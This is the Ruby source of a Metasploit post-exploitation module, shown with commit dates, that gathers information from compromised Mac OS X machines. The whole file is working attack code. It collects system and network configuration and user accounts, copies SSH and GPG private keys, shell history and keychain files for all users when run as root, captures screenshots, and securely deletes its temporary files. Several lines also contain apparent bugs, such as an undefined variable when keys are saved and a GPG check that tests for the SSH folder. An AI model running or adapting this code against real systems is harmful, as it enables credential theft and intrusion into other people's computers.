metasploit-framework/modules/post/osx/gather/enum_osx.rb

479 lines
15 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
2012-10-23 18:24:05 +00:00
require 'msf/core/auxiliary/report'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
2013-09-05 18:41:25 +00:00
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'OS X Gather Mac OS X System Information Enumeration',
'Description' => %q{
This module gathers basic system information from Mac OS X Tiger, Leopard,
Snow Leopard and Lion systems.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'osx' ],
'SessionTypes' => [ "meterpreter", "shell" ]
2013-09-05 18:41:25 +00:00
))
end
# Run Method for when run command is issued
def run
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
2015-06-22 21:09:30 +00:00
host = cmd_exec("hostname").chomp
2013-09-05 18:41:25 +00:00
end
print_status("Running module against #{host}")
running_root = check_root
if running_root
print_status("This session is running as root!")
end
2015-06-22 21:09:30 +00:00
2013-09-05 18:41:25 +00:00
ver_num = get_ver
2015-06-22 21:09:30 +00:00
log_folder = log_folder_create
2013-09-05 18:41:25 +00:00
enum_conf(log_folder)
enum_accounts(log_folder, ver_num)
get_crypto_keys(log_folder)
screenshot(log_folder, ver_num)
dump_bash_history(log_folder)
get_keychains(log_folder)
end
#parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
require "rexml/document"
doc = REXML::Document.new(plist_content)
keys = []
doc.elements.each("plist/dict/key") do |element|
keys << element.text
end
fields = {}
i = 0
doc.elements.each("plist/dict/array") do |element|
data = []
fields[keys[i]] = data
element.each_element("*") do |thing|
data_set = thing.text
if data_set
data << data_set.gsub("\n\t\t","")
else
data << data_set
end
end
i+=1
end
return fields
end
# Function for creating the folder for gathered data
def log_folder_create(log_path = nil)
#Get hostname
case session.type
when /meterpreter/
2015-06-22 21:09:30 +00:00
host = Rex::FileUtils.clean_path(sysinfo['Computer'])
2013-09-05 18:41:25 +00:00
when /shell/
2015-06-22 21:09:30 +00:00
host = Rex::FileUtils.clean_path(cmd_exec('hostname').chomp)
2013-09-05 18:41:25 +00:00
end
# Create Filename info to be appended to downloaded files
2015-06-22 21:09:30 +00:00
file_name_info = '_' + ::Time.now.strftime('%Y%m%d.%M%S')
2013-09-05 18:41:25 +00:00
# Create a directory for the logs
if log_path
2015-06-22 21:09:30 +00:00
logs = ::File.join(log_path, 'logs', 'enum_osx', host + file_name_info )
2013-09-05 18:41:25 +00:00
else
2015-06-22 21:09:30 +00:00
logs = ::File.join(Msf::Config.log_directory, 'post', 'enum_osx', host + file_name_info )
2013-09-05 18:41:25 +00:00
end
# Create the log directory
::FileUtils.mkdir_p(logs)
return logs
end
# Checks if running as root on the target
def check_root
# Get only the account ID
case session.type
when /shell/
2015-06-22 21:09:30 +00:00
id = cmd_exec("/usr/bin/id -ru").chomp
2013-09-05 18:41:25 +00:00
when /meterpreter/
2015-06-22 21:09:30 +00:00
id = cmd_exec("/usr/bin/id", "-ru").chomp
2013-09-05 18:41:25 +00:00
end
2015-06-22 21:09:30 +00:00
2013-09-05 18:41:25 +00:00
if id == "0"
return true
else
return false
end
end
# Checks if the target is OSX Server
def check_server
# Get the OS Name
case session.type
when /meterpreter/
osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp
when /shell/
2015-06-22 21:09:30 +00:00
osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp
2013-09-05 18:41:25 +00:00
end
return osx_ver =~/Server/
2013-09-05 18:41:25 +00:00
end
# Enumerate the OS Version
def get_ver
# Get the OS Version
case session.type
when /meterpreter/
2015-06-22 21:09:30 +00:00
osx_ver_num = cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp
2013-09-05 18:41:25 +00:00
when /shell/
2015-06-22 21:09:30 +00:00
osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp
2013-09-05 18:41:25 +00:00
end
return osx_ver_num
end
def enum_conf(log_folder)
2015-06-22 21:09:30 +00:00
profile_datatypes = {
'OS' => 'SPSoftwareDataType',
'Network' => 'SPNetworkDataType',
'Bluetooth' => 'SPBluetoothDataType',
'Ethernet' => 'SPEthernetDataType',
'Printers' => 'SPPrintersDataType',
'USB' => 'SPUSBDataType',
'Airport' => 'SPAirPortDataType',
'Firewall' => 'SPFirewallDataType',
'Known Networks' => 'SPNetworkLocationDataType',
'Applications' => 'SPApplicationsDataType',
'Development Tools' => 'SPDeveloperToolsDataType',
'Frameworks' => 'SPFrameworksDataType',
'Logs' => 'SPLogsDataType',
'Preference Panes' => 'SPPrefPaneDataType',
'StartUp' => 'SPStartupItemDataType'
}
2013-09-05 18:41:25 +00:00
shell_commands = {
2015-06-22 21:09:30 +00:00
'TCP Connections' => ['/usr/sbin/netstat', '-np tcp'],
'UDP Connections' => ['/usr/sbin/netstat', '-np udp'],
'Environment Variables' => ['/usr/bin/printenv', ''],
'Last Boottime' => ['/usr/bin/who', '-b'],
'Current Activity' => ['/usr/bin/who', ''],
'Process List' => ['/bin/ps', '-ea']
2013-09-05 18:41:25 +00:00
}
print_status("Saving all data to #{log_folder}")
# Enumerate first using System Profiler
2015-06-22 21:09:30 +00:00
profile_datatypes.each do |name, profile_datatypes|
2013-09-05 18:41:25 +00:00
print_status("\tEnumerating #{name}")
# Run commands according to the session type
if session.type =~ /meterpreter/
2015-06-22 21:09:30 +00:00
returned_data = cmd_exec('system_profiler', profile_datatypes)
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",returned_data)
elsif session.type =~ /shell/
2013-09-05 18:41:25 +00:00
begin
2015-06-22 21:09:30 +00:00
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}", 15)
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",returned_data)
rescue
end
end
end
# Enumerate using system commands
shell_commands.each do |name, command|
print_status("\tEnumerating #{name}")
# Run commands according to the session type
begin
if session.type =~ /meterpreter/
2013-09-05 18:41:25 +00:00
command_output = cmd_exec(command[0],command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
elsif session.type =~ /shell/
2015-06-22 21:09:30 +00:00
command_output = cmd_exec(command[0], command[1])
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
end
rescue
print_error("failed to run #{name}")
end
end
end
def enum_accounts(log_folder,ver_num)
# Specific commands for Leopard and Snow Leopard
leopard_commands = {
2015-06-22 21:09:30 +00:00
'Users' => ['/usr/bin/dscacheutil', '-q user'],
'Groups' => ['/usr/bin/dscacheutil', '-q group']
}
2013-09-05 18:41:25 +00:00
# Specific commands for Tiger
tiger_commands = {
2015-06-22 21:09:30 +00:00
'Users' => ['/usr/sbin/lookupd', '-q user'],
'Groups' => ['/usr/sbin/lookupd', '-q group']
}
2013-09-05 18:41:25 +00:00
if ver_num =~ /10\.(7|6|5)/
shell_commands = leopard_commands
else
shell_commands = tiger_commands
end
shell_commands.each do |name, command|
print_status("\tEnumerating #{name}")
# Run commands according to the session type
if session.type =~ /meterpreter/
2015-06-22 21:09:30 +00:00
command_output = cmd_exec(command[0], command[1])
2013-09-05 18:41:25 +00:00
# Save data lo log folder
2015-06-22 21:09:30 +00:00
file_local_write(log_folder+"//#{name}.txt", command_output)
2013-09-05 18:41:25 +00:00
elsif session.type =~ /shell/
2015-06-22 21:09:30 +00:00
command_output = cmd_exec(command.join(' '), 15)
2013-09-05 18:41:25 +00:00
# Save data lo log folder
2015-06-22 21:09:30 +00:00
file_local_write(log_folder + "//#{name}.txt", command_output)
2013-09-05 18:41:25 +00:00
end
end
end
# Method for getting SSH and GPG Keys
def get_crypto_keys(log_folder)
# Run commands according to the session type
if session.type =~ /shell/
# Enumerate and retreave files according to privilege level
if not check_root
# Enumerate the home folder content
2015-06-22 21:09:30 +00:00
home_folder_list = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
2013-09-05 18:41:25 +00:00
# Check for SSH folder and extract keys if found
if home_folder_list.include?("\.ssh")
print_status(".ssh Folder is present")
2015-06-22 21:09:30 +00:00
ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").chomp.split(", ")
2013-09-05 18:41:25 +00:00
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
2015-06-22 21:09:30 +00:00
ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{name}",ssh_file_content)
end
end
# Check for GPG and extract keys if found
if home_folder_list.include?("\.gnupg")
print_status(".gnupg Folder is present")
2015-06-22 21:09:30 +00:00
gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").chomp.split(", ")
2013-09-05 18:41:25 +00:00
gnugpg_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
2015-06-22 21:09:30 +00:00
gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}")
2013-09-05 18:41:25 +00:00
# Save data lo log folder
2015-06-22 21:09:30 +00:00
file_local_write(log_folder+"//#{name}", gpg_file_content)
2013-09-05 18:41:25 +00:00
end
end
else
users = []
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users")
when /shell/
2015-06-22 21:09:30 +00:00
users_folder = cmd_exec("/bin/ls /Users")
2013-09-05 18:41:25 +00:00
end
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
users.each do |u|
2015-06-22 21:09:30 +00:00
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
2013-09-05 18:41:25 +00:00
if user_folder.include?("\.ssh")
print_status(".ssh Folder is present for #{u}")
2015-06-22 21:09:30 +00:00
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ")
2013-09-05 18:41:25 +00:00
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
2015-06-22 21:09:30 +00:00
ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}")
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{name}",ssh_file_content)
end
end
end
users.each do |u|
2015-06-22 21:09:30 +00:00
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
2013-09-05 18:41:25 +00:00
if user_folder.include?("\.ssh")
print_status(".gnupg Folder is present for #{u}")
2015-06-22 21:09:30 +00:00
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ")
2013-09-05 18:41:25 +00:00
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
2015-06-22 21:09:30 +00:00
ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}")
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{name}",ssh_file_content)
end
end
end
end
end
end
# Method for capturing screenshot of targets
def screenshot(log_folder, ver_num)
if ver_num =~ /10\.(7|6|5)/
print_status("Capturing screenshot")
picture_name = ::Time.now.strftime("%Y%m%d.%M%S")
if check_root
print_status("Capturing screenshot for each loginwindow process since privilege is root")
if session.type =~ /shell/
2015-06-22 21:09:30 +00:00
loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
2013-09-05 18:41:25 +00:00
loginwindow_pids.each do |pid|
print_status("\tCapturing for PID:#{pid}")
2015-06-22 21:09:30 +00:00
cmd_exec("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")
file_local_write(log_folder + "//screenshot_#{pid}.jpg",
cmd_exec("/bin/cat /tmp/#{pid}.jpg"))
cmd_exec("/usr/bin/srm -m -z /tmp/#{pid}.jpg")
2013-09-05 18:41:25 +00:00
end
end
else
# Run commands according to the session type
if session.type =~ /shell/
2015-06-22 21:09:30 +00:00
cmd_exec("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg")
2013-09-05 18:41:25 +00:00
file_local_write(log_folder+"//screenshot.jpg",
2015-06-22 21:09:30 +00:00
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
cmd_exec("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg")
2013-09-05 18:41:25 +00:00
end
end
print_status("Screenshot Captured")
end
end
def dump_bash_history(log_folder)
print_status("Extracting history files")
# Run commands according to the session type
users = []
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users").chomp
current_user = cmd_exec("/usr/bin/id","-nu").chomp
when /shell/
2015-06-22 21:09:30 +00:00
users_folder = cmd_exec("/bin/ls /Users").chomp
current_user = cmd_exec("/usr/bin/id -nu").chomp
2013-09-05 18:41:25 +00:00
end
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
# If we are root lets get root for when sudo was used and all users
if current_user == "root"
# Check the root user folder
2015-06-22 21:09:30 +00:00
root_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
2013-09-05 18:41:25 +00:00
root_folder.each do |f|
if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for root")
print_status("\tDownloading #{f.strip}")
2015-06-22 21:09:30 +00:00
sh_file = cmd_exec("/bin/cat ~/#{f.strip}")
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//root_#{f.strip}.txt",sh_file)
end
end
# Getting the history files for all users
users.each do |u|
# Lets get a list of all the files on the users folder and place them in an array
2015-06-22 21:09:30 +00:00
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
2013-09-05 18:41:25 +00:00
user_folder.each do |f|
if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for #{u}")
print_status("\tDownloading #{f.strip}")
2015-06-22 21:09:30 +00:00
sh_file = cmd_exec("/bin/cat /Users/#{u}/#{f.strip}")
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{u}_#{f.strip}.txt",sh_file)
end
end
end
else
2015-06-22 21:09:30 +00:00
current_user_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
2013-09-05 18:41:25 +00:00
current_user_folder.each do |f|
if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for #{current_user}")
print_status("\tDownloading #{f.strip}")
2015-06-22 21:09:30 +00:00
sh_file = cmd_exec("/bin/cat ~/#{f.strip}")
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{current_user}_#{f.strip}.txt",sh_file)
end
end
end
end
# Download configured Keychains
def get_keychains(log_folder)
users = []
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users").chomp
when /shell/
2015-06-22 21:09:30 +00:00
users_folder = cmd_exec("/bin/ls /Users").chomp
2013-09-05 18:41:25 +00:00
end
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
if check_root
users.each do |u|
print_status("Enumerating and Downloading keychains for #{u}")
2015-06-22 21:09:30 +00:00
keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")
2013-09-05 18:41:25 +00:00
keychain_files.each do |k|
2015-06-22 21:09:30 +00:00
keychain_file = cmd_exec("/bin/cat #{k.strip}")
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{u}#{k.strip.gsub(/\W/,"_")}",keychain_file)
end
end
else
2015-06-22 21:09:30 +00:00
current_user = cmd_exec("/usr/bin/id -nu").chomp
2013-09-05 18:41:25 +00:00
print_status("Enumerating and Downloading keychains for #{current_user}")
2015-06-22 21:09:30 +00:00
keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n")
2013-09-05 18:41:25 +00:00
keychain_files.each do |k|
2015-06-22 21:09:30 +00:00
keychain_file = cmd_exec("/bin/cat #{k.strip}")
2013-09-05 18:41:25 +00:00
# Save data lo log folder
file_local_write(log_folder+"//#{current_user}#{k.strip.gsub(/\W/,"_")}",keychain_file)
end
end
end
end